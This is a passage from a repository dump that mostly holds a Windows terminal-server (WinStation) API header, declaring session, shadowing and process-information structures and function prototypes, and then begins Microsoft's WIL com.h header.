WINSTATIONINFOCLASS;\n\n// Retrieves general information on the type of terminal server session (protocol) to which the session belongs.\ntypedef struct _WINSTATIONCREATE\n{\n ULONG fEnableWinStation : 1;\n ULONG MaxInstanceCount;\n} WINSTATIONCREATE, *PWINSTATIONCREATE;\n\ntypedef struct _WINSTACONFIGWIRE\n{\n WCHAR Comment[61]; // The WinStation descriptive comment.\n CHAR OEMId[4]; // Value identifying the OEM implementor of the TermService Listener to which this session (WinStation) belongs. This can be any value defined by the implementer (OEM) of the listener.\n VARDATA_WIRE UserConfig; // VARDATA_WIRE structure defining the size and offset of the variable-length user configuration data succeeding it.\n VARDATA_WIRE NewFields; // VARDATA_WIRE structure defining the size and offset of the variable-length new data succeeding it. This field is not used and is a placeholder for any new data, if and when added.\n} WINSTACONFIGWIRE, *PWINSTACONFIGWIRE;\n\ntypedef enum _CALLBACKCLASS\n{\n Callback_Disable,\n Callback_Roving,\n Callback_Fixed\n} CALLBACKCLASS;\n\n// The SHADOWCLASS enumeration is used to indicate the shadow-related settings for a session running on a terminal server.\ntypedef enum _SHADOWCLASS\n{\n Shadow_Disable, // Shadowing is disabled.\n Shadow_EnableInputNotify, // Permission is asked first from the session being shadowed. The shadower is also permitted keyboard and mouse input.\n Shadow_EnableInputNoNotify, // Permission is not asked first from the session being shadowed. The shadower is also permitted keyboard and mouse input.\n Shadow_EnableNoInputNotify, // Permission is asked first from the session being shadowed. The shadower is not permitted keyboard and mouse input and MUST observe the shadowed session.\n Shadow_EnableNoInputNoNotify // Permission is not asked first from the session being shadowed. The shadower is not permitted keyboard and mouse input and MUST observe the shadowed session.\n} SHADOWCLASS;\n\n// For a specific terminal server session, the USERCONFIG structure indicates the user and session configuration.\n// https://msdn.microsoft.com/en-us/library/cc248610.aspx\ntypedef struct _USERCONFIG\n{\n ULONG fInheritAutoLogon : 1;\n ULONG fInheritResetBroken : 1;\n ULONG fInheritReconnectSame : 1;\n ULONG fInheritInitialProgram : 1;\n ULONG fInheritCallback : 1;\n ULONG fInheritCallbackNumber : 1;\n ULONG fInheritShadow : 1;\n ULONG fInheritMaxSessionTime : 1;\n ULONG fInheritMaxDisconnectionTime : 1;\n ULONG fInheritMaxIdleTime : 1;\n ULONG fInheritAutoClient : 1;\n ULONG fInheritSecurity : 1;\n ULONG fPromptForPassword : 1;\n ULONG fResetBroken : 1;\n ULONG fReconnectSame : 1;\n ULONG fLogonDisabled : 1;\n ULONG fWallPaperDisabled : 1;\n ULONG fAutoClientDrives : 1;\n ULONG fAutoClientLpts : 1;\n ULONG fForceClientLptDef : 1;\n ULONG fRequireEncryption : 1;\n ULONG fDisableEncryption : 1;\n ULONG fUnused1 : 1;\n ULONG fHomeDirectoryMapRoot : 1;\n ULONG fUseDefaultGina : 1;\n ULONG fCursorBlinkDisabled : 1;\n ULONG fPublishedApp : 1;\n ULONG fHideTitleBar : 1;\n ULONG fMaximize : 1;\n ULONG fDisableCpm : 1;\n ULONG fDisableCdm : 1;\n ULONG fDisableCcm : 1;\n ULONG fDisableLPT : 1;\n ULONG fDisableClip : 1;\n ULONG fDisableExe : 1;\n ULONG fDisableCam : 1;\n ULONG fDisableAutoReconnect : 1;\n ULONG ColorDepth : 3;\n ULONG fInheritColorDepth : 1;\n ULONG fErrorInvalidProfile : 1;\n ULONG fPasswordIsScPin : 1;\n ULONG fDisablePNPRedir : 1;\n WCHAR UserName[USERNAME_LENGTH + 1];\n WCHAR Domain[DOMAIN_LENGTH + 1];\n WCHAR Password[PASSWORD_LENGTH + 1];\n WCHAR WorkDirectory[DIRECTORY_LENGTH + 1];\n WCHAR InitialProgram[INITIALPROGRAM_LENGTH + 1];\n WCHAR CallbackNumber[CALLBACK_LENGTH + 1];\n CALLBACKCLASS Callback;\n SHADOWCLASS Shadow;\n ULONG MaxConnectionTime;\n ULONG MaxDisconnectionTime;\n ULONG MaxIdleTime;\n ULONG KeyboardLayout;\n BYTE MinEncryptionLevel;\n WCHAR NWLogonServer[NASIFILESERVER_LENGTH + 1];\n WCHAR PublishedName[MAX_BR_NAME];\n WCHAR WFProfilePath[DIRECTORY_LENGTH + 1];\n WCHAR WFHomeDir[DIRECTORY_LENGTH + 1];\n WCHAR WFHomeDirDrive[4];\n} USERCONFIG, *PUSERCONFIG;\n\ntypedef enum _SDCLASS\n{\n SdNone = 0,\n SdConsole,\n SdNetwork,\n SdAsync,\n SdOemTransport\n} SDCLASS;\n\ntypedef WCHAR DEVICENAME[DEVICENAME_LENGTH + 1];\ntypedef WCHAR MODEMNAME[MODEMNAME_LENGTH + 1];\ntypedef WCHAR NASISPECIFICNAME[NASISPECIFICNAME_LENGTH + 1];\ntypedef WCHAR NASIUSERNAME[NASIUSERNAME_LENGTH + 1];\ntypedef WCHAR NASIPASSWORD[NASIPASSWORD_LENGTH + 1];\ntypedef WCHAR NASISESIONNAME[NASISESSIONNAME_LENGTH + 1];\ntypedef WCHAR NASIFILESERVER[NASIFILESERVER_LENGTH + 1];\ntypedef WCHAR WDNAME[WDNAME_LENGTH + 1];\ntypedef WCHAR WDPREFIX[WDPREFIX_LENGTH + 1];\ntypedef WCHAR CDNAME[CDNAME_LENGTH + 1];\ntypedef WCHAR DLLNAME[DLLNAME_LENGTH + 1];\ntypedef WCHAR PDNAME[PDNAME_LENGTH + 1];\n\ntypedef struct _NETWORKCONFIG\n{\n LONG LanAdapter;\n DEVICENAME NetworkName;\n ULONG Flags;\n} NETWORKCONFIG, *PNETWORKCONFIG;\n\ntypedef enum _FLOWCONTROLCLASS\n{\n FlowControl_None,\n FlowControl_Hardware,\n FlowControl_Software\n} FLOWCONTROLCLASS;\n\ntypedef enum _RECEIVEFLOWCONTROLCLASS\n{\n ReceiveFlowControl_None,\n ReceiveFlowControl_RTS,\n ReceiveFlowControl_DTR,\n} RECEIVEFLOWCONTROLCLASS;\n\ntypedef enum _TRANSMITFLOWCONTROLCLASS\n{\n TransmitFlowControl_None,\n TransmitFlowControl_CTS,\n TransmitFlowControl_DSR,\n} TRANSMITFLOWCONTROLCLASS;\n\ntypedef enum _ASYNCCONNECTCLASS\n{\n Connect_CTS,\n Connect_DSR,\n Connect_RI,\n Connect_DCD,\n Connect_FirstChar,\n Connect_Perm,\n} ASYNCCONNECTCLASS;\n\ntypedef struct _FLOWCONTROLCONFIG\n{\n ULONG fEnableSoftwareTx : 1;\n ULONG fEnableSoftwareRx : 1;\n ULONG fEnableDTR : 1;\n ULONG fEnableRTS : 1;\n CHAR XonChar;\n CHAR XoffChar;\n FLOWCONTROLCLASS Type;\n RECEIVEFLOWCONTROLCLASS HardwareReceive;\n TRANSMITFLOWCONTROLCLASS HardwareTransmit;\n} FLOWCONTROLCONFIG, *PFLOWCONTROLCONFIG;\n\ntypedef struct _CONNECTCONFIG\n{\n ASYNCCONNECTCLASS Type;\n ULONG fEnableBreakDisconnect : 1;\n} CONNECTCONFIG, *PCONNECTCONFIG;\n\ntypedef struct _ASYNCCONFIG\n{\n DEVICENAME DeviceName;\n MODEMNAME ModemName;\n ULONG BaudRate;\n ULONG Parity;\n ULONG StopBits;\n ULONG ByteSize;\n ULONG fEnableDsrSensitivity : 1;\n ULONG fConnectionDriver : 1;\n FLOWCONTROLCONFIG FlowControl;\n CONNECTCONFIG Connect;\n} ASYNCCONFIG, *PASYNCCONFIG;\n\ntypedef struct _NASICONFIG\n{\n NASISPECIFICNAME SpecificName;\n NASIUSERNAME UserName;\n NASIPASSWORD PassWord;\n NASISESIONNAME SessionName;\n NASIFILESERVER FileServer;\n BOOLEAN GlobalSession;\n} NASICONFIG, *PNASICONFIG;\n\ntypedef struct _OEMTDCONFIG\n{\n LONG Adapter;\n DEVICENAME DeviceName;\n ULONG Flags;\n} OEMTDCONFIG, *POEMTDCONFIG;\n\n// Retrieves transport protocol driver parameters.\ntypedef struct _PDPARAMS\n{\n SDCLASS SdClass; // Stack driver class. Indicates which one of the union's structures is valid.\n union\n {\n NETWORKCONFIG Network; // Configuration of network drivers. Used if SdClass is SdNetwork.\n ASYNCCONFIG Async; // Configuration of async (modem) driver. Used if SdClass is SdAsync.\n NASICONFIG Nasi; // Reserved.\n OEMTDCONFIG OemTd; // Configuration of OEM transport driver. Used if SdClass is SdOemTransport.\n };\n} PDPARAMS, *PPDPARAMS;\n\n// The WinStation (session) driver configuration.\ntypedef struct _WDCONFIG\n{\n WDNAME WdName; // The descriptive name of the WinStation driver.\n DLLNAME WdDLL; // The driver's image name.\n DLLNAME WsxDLL; // Used by the Terminal Services service to communicate with the WinStation driver.\n ULONG WdFlag; // Driver flags.\n ULONG WdInputBufferLength; // Length, in bytes, of the input buffer used by the driver. Defaults to 2048.\n DLLNAME CfgDLL; // Configuration DLL used by Terminal Services administrative tools for configuring the driver.\n WDPREFIX WdPrefix; // Used as the prefix of the WinStation name generated for the connected sessions with this WinStation driver.\n} WDCONFIG, *PWDCONFIG;\n\n// The protocol driver's software configuration.\ntypedef struct _PDCONFIG2\n{\n PDNAME PdName;\n SDCLASS SdClass;\n DLLNAME PdDLL;\n ULONG PdFlag;\n ULONG OutBufLength;\n ULONG OutBufCount;\n ULONG OutBufDelay;\n ULONG InteractiveDelay;\n ULONG PortNumber;\n ULONG KeepAliveTimeout;\n} PDCONFIG2, *PPDCONFIG2;\n\n// WinStationClient\ntypedef struct _WINSTATIONCLIENT\n{\n ULONG fTextOnly : 1;\n ULONG fDisableCtrlAltDel : 1;\n ULONG fMouse : 1;\n ULONG fDoubleClickDetect : 1;\n ULONG fINetClient : 1;\n ULONG fPromptForPassword : 1;\n ULONG fMaximizeShell : 1;\n ULONG fEnableWindowsKey : 1;\n ULONG fRemoteConsoleAudio : 1;\n ULONG fPasswordIsScPin : 1;\n ULONG fNoAudioPlayback : 1;\n ULONG fUsingSavedCreds : 1;\n WCHAR ClientName[CLIENTNAME_LENGTH + 1];\n WCHAR Domain[DOMAIN_LENGTH + 1];\n WCHAR UserName[USERNAME_LENGTH + 1];\n WCHAR Password[PASSWORD_LENGTH + 1];\n WCHAR WorkDirectory[DIRECTORY_LENGTH + 1];\n WCHAR InitialProgram[INITIALPROGRAM_LENGTH + 1];\n ULONG SerialNumber;\n BYTE EncryptionLevel;\n ULONG ClientAddressFamily;\n WCHAR ClientAddress[CLIENTADDRESS_LENGTH + 1];\n USHORT HRes;\n USHORT VRes;\n USHORT ColorDepth;\n USHORT ProtocolType;\n ULONG KeyboardLayout;\n ULONG KeyboardType;\n ULONG KeyboardSubType;\n ULONG KeyboardFunctionKey;\n WCHAR ImeFileName[IMEFILENAME_LENGTH + 1];\n WCHAR ClientDirectory[DIRECTORY_LENGTH + 1];\n WCHAR ClientLicense[CLIENTLICENSE_LENGTH + 1];\n WCHAR ClientModem[CLIENTMODEM_LENGTH + 1];\n ULONG ClientBuildNumber;\n ULONG ClientHardwareId;\n USHORT ClientProductId;\n USHORT OutBufCountHost;\n USHORT OutBufCountClient;\n USHORT OutBufLength;\n WCHAR AudioDriverName[9];\n TS_TIME_ZONE_INFORMATION ClientTimeZone;\n ULONG ClientSessionId;\n WCHAR ClientDigProductId[CLIENT_PRODUCT_ID_LENGTH];\n ULONG PerformanceFlags;\n ULONG ActiveInputLocale;\n} WINSTATIONCLIENT, *PWINSTATIONCLIENT;\n\ntypedef struct _TSHARE_COUNTERS\n{\n ULONG Reserved;\n} TSHARE_COUNTERS, *PTSHARE_COUNTERS;\n\ntypedef struct _PROTOCOLCOUNTERS\n{\n ULONG WdBytes;\n ULONG WdFrames;\n ULONG WaitForOutBuf;\n ULONG Frames;\n ULONG Bytes;\n ULONG CompressedBytes;\n ULONG CompressFlushes;\n ULONG Errors;\n ULONG Timeouts;\n ULONG AsyncFramingError;\n ULONG AsyncOverrunError;\n ULONG AsyncOverflowError;\n ULONG AsyncParityError;\n ULONG TdErrors;\n USHORT ProtocolType;\n USHORT Length;\n union\n {\n TSHARE_COUNTERS TShareCounters;\n ULONG Reserved[100];\n } Specific;\n} PROTOCOLCOUNTERS, *PPROTOCOLCOUNTERS;\n\ntypedef struct _THINWIRECACHE\n{\n ULONG CacheReads;\n ULONG CacheHits;\n} THINWIRECACHE, *PTHINWIRECACHE;\n\n#define MAX_THINWIRECACHE 4\n\ntypedef struct _RESERVED_CACHE\n{\n THINWIRECACHE ThinWireCache[MAX_THINWIRECACHE];\n} RESERVED_CACHE, *PRESERVED_CACHE;\n\ntypedef struct _TSHARE_CACHE\n{\n ULONG Reserved;\n} TSHARE_CACHE, *PTSHARE_CACHE;\n\ntypedef struct CACHE_STATISTICS\n{\n USHORT ProtocolType;\n USHORT Length;\n union\n {\n RESERVED_CACHE ReservedCacheStats;\n TSHARE_CACHE TShareCacheStats;\n ULONG Reserved[20];\n } Specific;\n} CACHE_STATISTICS, *PCACHE_STATISTICS;\n\ntypedef struct _PROTOCOLSTATUS\n{\n PROTOCOLCOUNTERS Output;\n PROTOCOLCOUNTERS Input;\n CACHE_STATISTICS Cache;\n ULONG AsyncSignal;\n ULONG AsyncSignalMask;\n} PROTOCOLSTATUS, *PPROTOCOLSTATUS;\n\n// Retrieves information on the session.\ntypedef struct _WINSTATIONINFORMATION\n{\n WINSTATIONSTATECLASS ConnectState;\n WINSTATIONNAME WinStationName;\n ULONG LogonId;\n LARGE_INTEGER ConnectTime;\n LARGE_INTEGER DisconnectTime;\n LARGE_INTEGER LastInputTime;\n LARGE_INTEGER LogonTime;\n PROTOCOLSTATUS Status;\n WCHAR Domain[DOMAIN_LENGTH + 1];\n WCHAR UserName[USERNAME_LENGTH + 1];\n LARGE_INTEGER CurrentTime;\n} WINSTATIONINFORMATION, *PWINSTATIONINFORMATION;\n\n// Retrieves the user's token in the session. Caller requires WINSTATION_ALL_ACCESS permission.\ntypedef struct _WINSTATIONUSERTOKEN\n{\n HANDLE ProcessId;\n HANDLE ThreadId;\n HANDLE UserToken;\n} WINSTATIONUSERTOKEN, *PWINSTATIONUSERTOKEN;\n\n// Retrieves resolution and color depth of the session.\ntypedef struct _WINSTATIONVIDEODATA\n{\n USHORT HResolution;\n USHORT VResolution;\n USHORT fColorDepth;\n} WINSTATIONVIDEODATA, *PWINSTATIONVIDEODATA;\n\ntypedef enum _CDCLASS\n{\n CdNone, // No connection driver. \n CdModem, // Connection driver is a modem.\n CdClass_Maximum,\n} CDCLASS;\n\n// Connection driver configuration. It is used for connecting via modem to a server.\ntypedef struct _CDCONFIG\n{\n CDCLASS CdClass; // Connection driver type.\n CDNAME CdName; // Connection driver descriptive name.\n DLLNAME CdDLL; // Connection driver image name.\n ULONG CdFlag; // Connection driver flags. Connection driver specific.\n} CDCONFIG, *PCDCONFIG;\n\n// The name has the following form:\n// name syntax : xxxyyyy\ntypedef CHAR CLIENTDATANAME[CLIENTDATANAME_LENGTH + 1];\ntypedef CHAR* PCLIENTDATANAME;\n\ntypedef struct _WINSTATIONCLIENTDATA\n{\n CLIENTDATANAME DataName; // Identifies the type of data sent in this WINSTATIONCLIENTDATA structure. The definition is dependent on the caller and on the client receiving it. This MUST be a data name following a format similar to that of the CLIENTDATANAME data type.\n BOOLEAN fUnicodeData; // TRUE indicates data is in Unicode format; FALSE otherwise.\n} WINSTATIONCLIENTDATA, *PWINSTATIONCLIENTDATA;\n\ntypedef enum _LOADFACTORTYPE\n{\n ErrorConstraint, // An error occurred while obtaining constraint data.\n PagedPoolConstraint, // The amount of paged pool is the constraint.\n NonPagedPoolConstraint, // The amount of non-paged pool is the constraint.\n AvailablePagesConstraint, // The amount of available pages is the constraint.\n SystemPtesConstraint, // The number of system page table entries (PTEs) is the constraint.\n CPUConstraint // CPU usage is the constraint.\n} LOADFACTORTYPE;\n\n// The WINSTATIONLOADINDICATORDATA structure defines data used for the load balancing of a server.\ntypedef struct _WINSTATIONLOADINDICATORDATA\n{\n ULONG RemainingSessionCapacity; // The estimated number of additional sessions that can be supported given the CPU constraint.\n LOADFACTORTYPE LoadFactor; // Indicates the most constrained current resource.\n ULONG TotalSessions; // The total number of sessions.\n ULONG DisconnectedSessions; // The number of disconnected sessions.\n LARGE_INTEGER IdleCPU; // This is always set to 0.\n LARGE_INTEGER TotalCPU; // This is always set to 0.\n ULONG RawSessionCapacity; // The raw number of sessions capacity.\n ULONG reserved[9]; // Reserved.\n} WINSTATIONLOADINDICATORDATA, *PWINSTATIONLOADINDICATORDATA;\n\ntypedef enum _SHADOWSTATECLASS\n{\n State_NoShadow, // No shadow operations are currently being performed on this session.\n State_Shadowing, // The session is shadowing a different session. The current session is referred to as a shadow client.\n State_Shadowed // The session is being shadowed by a different session. The current session is referred to as a shadow target.\n} SHADOWSTATECLASS;\n\n// Retrieves the current shadow state of a session.\ntypedef struct _WINSTATIONSHADOW\n{\n SHADOWSTATECLASS ShadowState; // Specifies the current state of shadowing.\n SHADOWCLASS ShadowClass; // Specifies the type of shadowing.\n ULONG SessionId; // Specifies the session ID of the session.\n ULONG ProtocolType; // Specifies the type of protocol on the session. Can be one of the following values.\n} WINSTATIONSHADOW, *PWINSTATIONSHADOW;\n\n// Retrieves the client product ID and current product ID of the session.\ntypedef struct _WINSTATIONPRODID\n{\n WCHAR DigProductId[CLIENT_PRODUCT_ID_LENGTH];\n WCHAR ClientDigProductId[CLIENT_PRODUCT_ID_LENGTH];\n WCHAR OuterMostDigProductId[CLIENT_PRODUCT_ID_LENGTH];\n ULONG CurrentSessionId;\n ULONG ClientSessionId;\n ULONG OuterMostSessionId;\n} WINSTATIONPRODID, *PWINSTATIONPRODID;\n\n// Retrieves the remote IP address of the terminal server client in the session.\ntypedef struct _WINSTATIONREMOTEADDRESS\n{\n USHORT sin_family;\n union\n {\n struct\n {\n USHORT sin_port;\n ULONG sin_addr;\n UCHAR sin_zero[8];\n } ipv4;\n struct\n {\n USHORT sin6_port;\n ULONG sin6_flowinfo;\n USHORT sin6_addr[8];\n ULONG sin6_scope_id;\n } ipv6;\n };\n} WINSTATIONREMOTEADDRESS, *PWINSTATIONREMOTEADDRESS;\n\n// WinStationInformationEx\n\n// private\ntypedef struct _WINSTATIONINFORMATIONEX_LEVEL1\n{\n ULONG SessionId;\n WINSTATIONSTATECLASS SessionState;\n LONG SessionFlags;\n WINSTATIONNAME WinStationName;\n WCHAR UserName[USERNAME_LENGTH + 1];\n WCHAR DomainName[DOMAIN_LENGTH + 1];\n LARGE_INTEGER LogonTime;\n LARGE_INTEGER ConnectTime;\n LARGE_INTEGER DisconnectTime;\n LARGE_INTEGER LastInputTime;\n LARGE_INTEGER CurrentTime;\n PROTOCOLSTATUS ProtocolStatus;\n} WINSTATIONINFORMATIONEX_LEVEL1, *PWINSTATIONINFORMATIONEX_LEVEL1;\n\n// private\ntypedef struct _WINSTATIONINFORMATIONEX_LEVEL2\n{\n ULONG SessionId;\n WINSTATIONSTATECLASS SessionState;\n LONG SessionFlags;\n WINSTATIONNAME WinStationName;\n WCHAR SamCompatibleUserName[USERNAME_LENGTH + 1];\n WCHAR SamCompatibleDomainName[DOMAIN_LENGTH + 1];\n LARGE_INTEGER LogonTime;\n LARGE_INTEGER ConnectTime;\n LARGE_INTEGER DisconnectTime;\n LARGE_INTEGER LastInputTime;\n LARGE_INTEGER CurrentTime;\n PROTOCOLSTATUS ProtocolStatus;\n WCHAR UserName[257];\n WCHAR DomainName[256];\n} WINSTATIONINFORMATIONEX_LEVEL2, *PWINSTATIONINFORMATIONEX_LEVEL2;\n\n// private\ntypedef union _WINSTATIONINFORMATIONEX_LEVEL\n{\n WINSTATIONINFORMATIONEX_LEVEL1 WinStationInfoExLevel1;\n WINSTATIONINFORMATIONEX_LEVEL2 WinStationInfoExLevel2;\n} WINSTATIONINFORMATIONEX_LEVEL, *PWINSTATIONINFORMATIONEX_LEVEL;\n\n// private\ntypedef struct _WINSTATIONINFORMATIONEX\n{\n ULONG Level;\n WINSTATIONINFORMATIONEX_LEVEL Data;\n} WINSTATIONINFORMATIONEX, *PWINSTATIONINFORMATIONEX;\n\n#define TS_PROCESS_INFO_MAGIC_NT4 0x23495452\n\ntypedef struct _TS_PROCESS_INFORMATION_NT4\n{\n ULONG MagicNumber;\n ULONG LogonId;\n PVOID ProcessSid;\n ULONG Pad;\n} TS_PROCESS_INFORMATION_NT4, *PTS_PROCESS_INFORMATION_NT4;\n\n#define SIZEOF_TS4_SYSTEM_THREAD_INFORMATION 64\n#define SIZEOF_TS4_SYSTEM_PROCESS_INFORMATION 136\n\ntypedef struct _TS_SYS_PROCESS_INFORMATION\n{\n ULONG NextEntryOffset;\n ULONG NumberOfThreads;\n LARGE_INTEGER SpareLi1;\n LARGE_INTEGER SpareLi2;\n LARGE_INTEGER SpareLi3;\n LARGE_INTEGER CreateTime;\n LARGE_INTEGER UserTime;\n LARGE_INTEGER KernelTime;\n UNICODE_STRING ImageName;\n LONG BasePriority;\n ULONG UniqueProcessId;\n ULONG InheritedFromUniqueProcessId;\n ULONG HandleCount;\n ULONG SessionId;\n ULONG SpareUl3;\n SIZE_T PeakVirtualSize;\n SIZE_T VirtualSize;\n ULONG PageFaultCount;\n ULONG PeakWorkingSetSize;\n ULONG WorkingSetSize;\n SIZE_T QuotaPeakPagedPoolUsage;\n SIZE_T QuotaPagedPoolUsage;\n SIZE_T QuotaPeakNonPagedPoolUsage;\n SIZE_T QuotaNonPagedPoolUsage;\n SIZE_T PagefileUsage;\n SIZE_T PeakPagefileUsage;\n SIZE_T PrivatePageCount;\n} TS_SYS_PROCESS_INFORMATION, *PTS_SYS_PROCESS_INFORMATION;\n\ntypedef struct _TS_ALL_PROCESSES_INFO\n{\n PTS_SYS_PROCESS_INFORMATION pTsProcessInfo;\n ULONG SizeOfSid;\n PSID pSid;\n} TS_ALL_PROCESSES_INFO, *PTS_ALL_PROCESSES_INFO;\n\ntypedef struct _TS_COUNTER_HEADER\n{\n DWORD dwCounterID;\n BOOLEAN bResult;\n} TS_COUNTER_HEADER, *PTS_COUNTER_HEADER;\n\ntypedef struct _TS_COUNTER\n{\n TS_COUNTER_HEADER CounterHead;\n DWORD dwValue;\n LARGE_INTEGER StartTime;\n} TS_COUNTER, *PTS_COUNTER;\n\n// Flags for WinStationShutdownSystem\n#define WSD_LOGOFF 0x1\n#define WSD_SHUTDOWN 0x2\n#define WSD_REBOOT 0x4\n#define WSD_POWEROFF 0x8\n\n// Flags for WinStationWaitSystemEvent\n#define WEVENT_NONE 0x0\n#define WEVENT_CREATE 0x1\n#define WEVENT_DELETE 0x2\n#define WEVENT_RENAME 0x4\n#define WEVENT_CONNECT 0x8\n#define WEVENT_DISCONNECT 0x10\n#define WEVENT_LOGON 0x20\n#define WEVENT_LOGOFF 0x40\n#define WEVENT_STATECHANGE 0x80\n#define WEVENT_LICENSE 0x100\n#define WEVENT_ALL 0x7fffffff\n#define WEVENT_FLUSH 0x80000000\n\n// Hotkey modifiers for WinStationShadow\n#define KBDSHIFT 0x1\n#define KBDCTRL 0x2\n#define KBDALT 0x4\n\n// begin_rev\n// Flags for WinStationRegisterConsoleNotification\n#define WNOTIFY_ALL_SESSIONS 0x1\n// end_rev\n\n// In the functions below, memory returned can be freed using LocalFree. NULL can be specified for\n// server handles to indicate the local server. -1 can be specified for session IDs to indicate the\n// current session ID.\n\n#define LOGONID_CURRENT (-1)\n#define SERVERNAME_CURRENT ((PWSTR)NULL)\n\n// rev\nBOOLEAN\nWINAPI\nWinStationFreeMemory(\n _In_ PVOID Buffer\n );\n\n// rev\nHANDLE\nWINAPI\nWinStationOpenServerW(\n _In_ PWSTR ServerName\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationCloseServer(\n _In_ HANDLE ServerHandle\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationServerPing(\n _In_opt_ HANDLE ServerHandle\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationGetTermSrvCountersValue(\n _In_opt_ HANDLE ServerHandle,\n _In_ ULONG Count,\n _Inout_ PTS_COUNTER Counters // set counter IDs before calling\n );\n\nBOOLEAN\nWINAPI\nWinStationShutdownSystem(\n _In_opt_ HANDLE ServerHandle,\n _In_ ULONG ShutdownFlags // WSD_*\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationWaitSystemEvent(\n _In_opt_ HANDLE ServerHandle,\n _In_ ULONG EventMask, // WEVENT_*\n _Out_ PULONG EventFlags\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationRegisterConsoleNotification(\n _In_opt_ HANDLE ServerHandle,\n _In_ HWND WindowHandle,\n _In_ ULONG Flags\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationUnRegisterConsoleNotification(\n _In_opt_ HANDLE ServerHandle,\n _In_ HWND WindowHandle\n );\n\n// Sessions\n\n// rev\nBOOLEAN\nWINAPI\nWinStationEnumerateW(\n _In_opt_ HANDLE ServerHandle,\n _Out_ PSESSIONIDW *SessionIds,\n _Out_ PULONG Count\n );\n\nBOOLEAN\nWINAPI\nWinStationQueryInformationW(\n _In_opt_ HANDLE ServerHandle,\n _In_ ULONG SessionId,\n _In_ WINSTATIONINFOCLASS WinStationInformationClass,\n _Out_writes_bytes_(WinStationInformationLength) PVOID pWinStationInformation,\n _In_ ULONG WinStationInformationLength,\n _Out_ PULONG pReturnLength\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationSetInformationW(\n _In_opt_ HANDLE ServerHandle,\n _In_ ULONG SessionId,\n _In_ WINSTATIONINFOCLASS WinStationInformationClass,\n _In_reads_bytes_(WinStationInformationLength) PVOID pWinStationInformation,\n _In_ ULONG WinStationInformationLength\n );\n\nBOOLEAN\nWINAPI\nWinStationNameFromLogonIdW(\n _In_opt_ HANDLE ServerHandle,\n _In_ ULONG SessionId,\n _Out_writes_(WINSTATIONNAME_LENGTH + 1) PWSTR pWinStationName\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationSendMessageW(\n _In_opt_ HANDLE ServerHandle,\n _In_ ULONG SessionId,\n _In_ PWSTR Title,\n _In_ ULONG TitleLength,\n _In_ PWSTR Message,\n _In_ ULONG MessageLength,\n _In_ ULONG Style,\n _In_ ULONG Timeout,\n _Out_ PULONG Response,\n _In_ BOOLEAN DoNotWait\n );\n\nBOOLEAN\nWINAPI\nWinStationConnectW(\n _In_opt_ HANDLE ServerHandle,\n _In_ ULONG SessionId,\n _In_ ULONG TargetSessionId,\n _In_opt_ PWSTR pPassword,\n _In_ BOOLEAN bWait\n );\n\nBOOLEAN\nWINAPI\nWinStationDisconnect(\n _In_opt_ HANDLE ServerHandle,\n _In_ ULONG SessionId,\n _In_ BOOLEAN bWait\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationReset(\n _In_opt_ HANDLE ServerHandle,\n _In_ ULONG SessionId,\n _In_ BOOLEAN bWait\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationShadow(\n _In_opt_ HANDLE ServerHandle,\n _In_ PWSTR TargetServerName,\n _In_ ULONG TargetSessionId,\n _In_ UCHAR HotKeyVk,\n _In_ USHORT HotkeyModifiers // KBD*\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationShadowStop(\n _In_opt_ HANDLE ServerHandle,\n _In_ ULONG SessionId,\n _In_ BOOLEAN bWait // ignored\n );\n\n// Processes\n\n// rev\nBOOLEAN\nWINAPI\nWinStationEnumerateProcesses(\n _In_opt_ HANDLE ServerHandle,\n _Out_ PVOID *Processes\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationGetAllProcesses(\n _In_opt_ HANDLE ServerHandle,\n _In_ ULONG Level,\n _Out_ PULONG NumberOfProcesses,\n _Out_ PTS_ALL_PROCESSES_INFO *Processes\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationFreeGAPMemory(\n _In_ ULONG Level,\n _In_ PTS_ALL_PROCESSES_INFO Processes,\n _In_ ULONG NumberOfProcesses\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationTerminateProcess(\n _In_opt_ HANDLE ServerHandle,\n _In_ ULONG ProcessId,\n _In_ ULONG ExitCode\n );\n\nBOOLEAN\nWINAPI\nWinStationGetProcessSid(\n _In_opt_ HANDLE ServerHandle,\n _In_ ULONG ProcessId,\n _In_ FILETIME ProcessStartTime,\n _Out_ PVOID pProcessUserSid,\n _Inout_ PULONG dwSidSize\n );\n\n// Services isolation\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n\n// rev\nBOOLEAN\nWINAPI\nWinStationSwitchToServicesSession(\n VOID\n );\n\n// rev\nBOOLEAN\nWINAPI\nWinStationRevertFromServicesSession(\n VOID\n );\n\n#endif\n\n// Misc.\n\nBOOLEAN\nWINAPI\n_WinStationWaitForConnect(\n VOID\n );\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/com.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n#ifndef __WIL_COM_INCLUDED\n#define __WIL_COM_INCLUDED\n\n#include \n#include \n#include \"result.h\"\n#include \"resource.h\" // last to ensure _COMBASEAPI_H_ protected definitions are available\n\n// Forward declaration within WIL (see https://msdn.microsoft.com/en-us/library/br244983.aspx)\n/// @cond\nnamespace Microsoft\n{\n namespace WRL\n {\n template \n class ComPtr;\n }\n}\n/// @endcond\n\nnamespace wil\n{\n /// @cond\n namespace details\n {\n // We can't directly use wistd::is_convertible as it returns TRUE for an ambiguous conversion.\n // Adding is_abstract to the mix, enables us to allow conversion for interfaces, but deny it for\n // classes (where the multiple inheritance causes ambiguity).\n // NOTE: I've reached out to vcsig on this topic and 